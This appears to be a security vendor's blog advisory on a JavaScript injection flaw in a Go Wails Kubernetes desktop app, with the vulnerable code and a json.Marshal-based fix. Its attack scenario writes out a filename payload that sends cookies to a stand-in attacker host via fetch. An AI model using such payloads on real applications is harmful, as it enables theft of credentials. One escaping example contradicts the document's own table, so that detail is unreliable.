Back to Blog
high SEVERITY8 min read

How JavaScript Injection via String Interpolation Happens in Go Wails Applications and How to Fix It

A high-severity JavaScript injection vulnerability in `internal/clusterconfigs/input.go` allowed arbitrary code execution through malicious kubeconfig filenames. The `saveClusterConfigFile` function at line 20 constructed JavaScript code by directly interpolating unsanitized filenames into `window.ExecJS()` calls, enabling attackers to break out of string literals and execute arbitrary JavaScript in the Webview context.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This is a JavaScript injection vulnerability (CWE-94) in a Go Wails application where the `saveClusterConfigFile` function in `internal/clusterconfigs/input.go` unsafely interpolated user-controlled filenames into JavaScript code executed via `window.ExecJS()`. The fix introduces a `jsString()` helper using `json.Marshal()` for proper string escaping and creates a `notify()` wrapper function to centralize safe JavaScript execution, replacing three vulnerable `fmt.Sprintf("notification('%s', '%s')", ...)` patterns that used single-quote delimiters susceptible to injection via `'` or `)` characters in filenames.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixJSON marshaling for string escaping plus centralized safe wrapper function
riskArbitrary JavaScript execution in Webview context, potential data exfiltration, UI manipulation, or native API access
languageGo (Wails framework)
root causeDirect string interpolation of user-controlled filenames into JavaScript code without proper escaping
vulnerabilityJavaScript Injection (CWE-94)

Title: How JavaScript Injection via String Interpolation Happens in Go Wails Applications and How to Fix It


ANSWER_SUMMARY: This is a JavaScript injection vulnerability (CWE-94) in a Go Wails application where the saveClusterConfigFile function in internal/clusterconfigs/input.go unsafely interpolated user-controlled filenames into JavaScript code executed via window.ExecJS(). The fix introduces a jsString() helper using json.Marshal() for proper string escaping and creates a notify() wrapper function to centralize safe JavaScript execution, replacing three vulnerable fmt.Sprintf("notification('%s', '%s')", ...) patterns that used single-quote delimiters susceptible to injection via ' or ) characters in filenames.


Introduction

In the KubeGUI project, we discovered a high-severity JavaScript injection vulnerability in internal/clusterconfigs/input.go that exposed the application to arbitrary code execution through seemingly benign file operations. The saveClusterConfigFile function, responsible for processing kubeconfig files, constructed JavaScript code by directly interpolating filenames into strings passed to window.ExecJS() — a Wails framework method that executes JavaScript in the application's Webview context.

The dangerous pattern appeared three times between lines 17-45, each following this structure:

notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message)
window.ExecJS(notificationJS)

While filepath.Base(path) stripped directory components from the input path, the resulting fileName variable received no further sanitization before being embedded in single-quote-delimited JavaScript strings. This created a classic injection vector where JavaScript metacharacters in filenames could break out of the intended string literal and execute arbitrary code.

For developers building desktop applications with Go and Wails, this vulnerability demonstrates how backend input validation assumptions fail when data crosses into JavaScript execution contexts.


The Vulnerability Explained

The Problematic Code Pattern

The vulnerability existed in three error-handling paths within saveClusterConfigFile. Here's the vulnerable pattern that appeared at lines 17-20, 26-29, and 34-37:

func saveClusterConfigFile(window *application.WebviewWindow, path, source string, eventData any) {
    fileName := filepath.Base(path)  // Line 13: User-controlled input

    _, err := clientcmd.BuildConfigFromFlags("", path)
    if err != nil {
        message := "Not valid kubeconfig (" + fileName + ")!"  // Injection point
        status := "error"
        notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message)  // Vulnerable construction
        window.ExecJS(notificationJS)  // Dangerous execution
        return
    }
    // ... repeated pattern in two more error handlers
}

Why filepath.Base() Isn't Enough

The code's sole "protection" — filepath.Base(path) — only removes directory traversal sequences. It does not escape JavaScript metacharacters. Consider this attack scenario:

An attacker crafts a kubeconfig file with this filename:

test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml

After filepath.Base() processing, the fileName becomes:

test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml

The resulting message variable contains:

Not valid kubeconfig (test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml)!

When interpolated into the JavaScript template, the executed code becomes:

notification('error', 'Not valid kubeconfig (test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml)!')

The single quote after test terminates the string literal early, the ) closes the notification( call, and the attacker's code executes with full Webview privileges — accessing cookies, making network requests, or interacting with the Wails bridge API.

Real-World Impact for KubeGUI

KubeGUI is a Kubernetes cluster management desktop application. This vulnerability allowed:

  • Data exfiltration: Stealing Kubernetes credentials from the application's state
  • UI manipulation: Spoofing cluster connection dialogs to harvest passwords
  • Native API access: Potentially invoking exposed Wails runtime methods
  • Cross-cluster attacks: Using compromised UI to execute operations against clusters

The attack vector is practical: kubeconfig files are frequently shared via email, chat, or downloaded from cluster management portals — all vectors where an attacker could influence the filename.


The Fix

Structural Changes

The fix introduces two key abstractions that eliminate the vulnerability pattern throughout the file:

Component Purpose
jsString(s string) string Safely encode any string for JavaScript embedding using JSON marshaling
notify(window, status, message string) Centralized, safe notification function that enforces proper escaping

Before and After Comparison

Vulnerable pattern (lines 17-20):

message := "Not valid kubeconfig (" + fileName + ")!"
status := "error"
notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message)
window.ExecJS(notificationJS)

Fixed equivalent:

notify(window, "error", "Not valid kubeconfig ("+fileName+")!")

The Complete Fix Implementation

// New helper: JSON-based JavaScript string escaping
func jsString(s string) string {
    b, _ := json.Marshal(s)
    return string(b)
}

// New centralized notification function with guaranteed safe escaping
func notify(window *application.WebviewWindow, status, message string) {
    window.ExecJS(fmt.Sprintf("notification(%s, %s)", jsString(status), jsString(message)))
}

func saveClusterConfigFile(window *application.WebviewWindow, path, source string, eventData any) {
    fileName := filepath.Base(path)

    _, err := clientcmd.BuildConfigFromFlags("", path)
    if err != nil {
        notify(window, "error", "Not valid kubeconfig ("+fileName+")!")  // Safe
        return
    }

    rules := &clientcmd.ClientConfigLoadingRules{ExplicitPath: path}
    cfg, err := rules.Load()
    if err != nil {
        notify(window, "error", "Unable to load kubeconfig ("+fileName+")!")  // Safe
        return
    }

    if len(cfg.Contexts) == 0 {
        notify(window, "error", "Kubeconfig contains no contexts ("+fileName+")!")  // Safe
        return
    }
    // ...
}

Why json.Marshal() Solves This Problem

JSON string encoding provides exactly the escaping semantics needed for JavaScript:

Character JSON Encoding JavaScript Safety
' unchanged (no escaping needed) Literal single quote, safe in template
" \" Escaped, cannot break string
\ \\ Escaped, cannot introduce escape sequences
Newline \n Escaped, cannot inject multi-line code
Control chars \uXXXX Hex-escaped, safe

By using json.Marshal(), the fix guarantees that the resulting string, when dropped into a JavaScript template, behaves as a single string literal regardless of input content. The jsString() function returns a JSON-encoded string like "test\\u0027); alert(1);//.yaml" — where the dangerous characters are safely escaped.

Additional Benefits

The fix also improves code maintainability:

  • DRY principle: Three duplicate code blocks reduced to one-line calls
  • Centralized security: All JavaScript execution now flows through notify()
  • Future-proofing: Any additional notification sites automatically inherit safe escaping

Prevention & Best Practices

For Go Wails Applications

  1. Never interpolate user input into JavaScript strings directly — always use structured encoding
  2. Create wrapper functions for all ExecJS() calls to enforce escaping at the boundary
  3. Use json.Marshal() for string encoding rather than custom escape functions that may miss edge cases
  4. Treat filenames as untrusted input — they originate from filesystems, downloads, or archives that attackers control

General Secure Coding Patterns

Anti-Pattern Secure Alternative
fmt.Sprintf("func('%s')", userInput) fmt.Sprintf("func(%s)", jsonString(userInput))
Manual character replacement Standard library encoding (json, html/template)
Inline JavaScript construction Centralized, audited wrapper functions

Detection Tools

  • Semgrep: Rules like go.lang.security.audit.dangerous-exec-command can flag ExecJS with dynamic content
  • CodeQL: Custom queries can track taint from filepath.Base to JavaScript execution sinks
  • Static analysis: Look for fmt.Sprintf patterns containing both JavaScript syntax and variables derived from path operations

Security Standards

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-79: Cross-site Scripting (XSS) — applicable to Webview contexts
  • OWASP Top 10 2021: A03:2021 – Injection

Key Takeaways

  • Never trust filepath.Base() for security: It prevents directory traversal but leaves all other injection vectors open — JavaScript metacharacters in filenames pass through unchanged

  • The saveClusterConfigFile function now uses json.Marshal() escaping: All JavaScript string embedding flows through the jsString() helper, guaranteeing proper encoding regardless of input content

  • Centralize dangerous operations: The new notify() wrapper ensures that future developers cannot accidentally reintroduce the vulnerable fmt.Sprintf("notification('%s', '%s')" pattern

  • Wails ExecJS() is a security boundary: Treat it with the same caution as eval() in web applications — any dynamic content requires rigorous sanitization

  • Three vulnerable sites, one fix pattern: The refactoring eliminated duplicate code while closing all injection vectors simultaneously


How Orbis AppSec Detected This

Source: The path parameter to saveClusterConfigFile, specifically the fileName variable derived from filepath.Base(path) at line 13

Sink: The window.ExecJS() calls at lines 20, 27, and 35 in internal/clusterconfigs/input.go, which executed dynamically constructed JavaScript strings

Missing control: No sanitization or encoding of fileName before embedding in single-quote-delimited JavaScript string literals; the fmt.Sprintf("notification('%s', '%s')", ...) pattern used unsafe delimiter-based construction instead of proper encoding

CWE: CWE-94 (Improper Control of Generation of Code)

Fix: Replaced inline JavaScript string construction with a jsString() helper using json.Marshal() for guaranteed safe encoding, and centralized all ExecJS() calls through a notify() wrapper function that enforces proper escaping

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability in KubeGUI's saveClusterConfigFile function illustrates how assumptions about "safe" input processing can fail catastrophically when data crosses context boundaries. The developers correctly recognized that filepath.Base() prevented directory traversal, but missed that filenames themselves — often attacker-controlled — could carry payload-delivering characters.

The fix demonstrates defense in depth: JSON encoding provides mathematical guarantees of safe embedding, while architectural changes (the notify() wrapper) prevent regression. For teams building desktop applications with Wails or similar frameworks, this case underscores that any bridge between native code and JavaScript execution requires the same rigorous input handling as web applications facing the open internet.


References

Frequently Asked Questions

What is JavaScript injection in Go Wails applications?

JavaScript injection occurs when Go code constructs JavaScript strings using unsanitized user input and executes them via `window.ExecJS()`, allowing attackers to inject malicious code that runs in the Webview context with the same privileges as the application.

How do you prevent JavaScript injection in Go?

Always escape user input before embedding in JavaScript strings. Use `json.Marshal()` to safely encode strings, or use parameterized/structured approaches instead of string concatenation. Centralize JavaScript execution through wrapper functions that enforce proper escaping.

What CWE is JavaScript injection?

CWE-94 (Improper Control of Generation of Code), also related to CWE-79 (XSS) when in browser/Webview contexts.

Is using filepath.Base() enough to prevent JavaScript injection?

No. While `filepath.Base()` prevents directory traversal, it does not sanitize JavaScript metacharacters. A filename like `test'); alert(document.cookie);//.yaml` remains dangerous after `filepath.Base()` processing.

Can static analysis detect JavaScript injection?

Yes. Static analysis can flag patterns where user-controlled input flows into JavaScript execution functions like `ExecJS()` without proper sanitization, especially when string formatting functions like `fmt.Sprintf()` are used.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #98

Related Articles

high

How Denial of Service via Prototype Pollution happens in Axios and how to fix it

Axios versions prior to 1.15.1 merged untrusted configuration objects without guarding against the `__proto__` key, letting attacker-controlled input pollute `Object.prototype` and crash or destabilize applications. Upgrading axios (and its transitive dependencies `form-data`, `follow-redirects`, `proxy-from-env`) closes this Denial of Service and prototype-pollution attack surface without changing any application code.

critical

How Server-Side Request Forgery happens in Node.js and how to fix it

The order-flow service in a Node.js e-commerce backend built an outbound fetch() URL by directly concatenating a configurable `sendingOrder.url` value with a query string, with no validation of protocol or destination. This allowed order data—including customer and payment-adjacent information—to be silently redirected to an attacker-controlled endpoint simply by changing a config value or environment variable.

high

How Infinite Loop Denial of Service Happens in nanoid and How to Fix It

CVE-2026-67213 is a high-severity infinite loop vulnerability in nanoid's `customAlphabet` function that could cause Denial of Service through CPU exhaustion. The fix upgrades nanoid from 3.3.12 to patched versions 3.3.18 and 5.1.6, eliminating the loop condition that trapped ID generation when processing certain input patterns.

critical

How Message Corruption via Protocol Length Header Abuse Happens in WebSocket Implementations and How to Fix It

CVE-2026-54466 is a critical vulnerability in websocket-driver 0.7.4 that allows attackers to corrupt WebSocket messages by abusing protocol length headers. The fix upgrades the package to version 0.7.5, which implements proper validation of untrusted length header inputs. This vulnerability could allow attackers to modify or inject data into real-time communication channels used by frontend applications.

critical

How XML Entity Expansion happens in Node.js and how to fix it

A critical XML External Entity (XXE) vulnerability in `lib/xml2json.js` allowed attackers to trigger exponential memory consumption through nested entity expansion. The fix adds `strictEntities: true` to both SAX parser instances, disabling dangerous entity processing that could crash servers processing untrusted XML.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.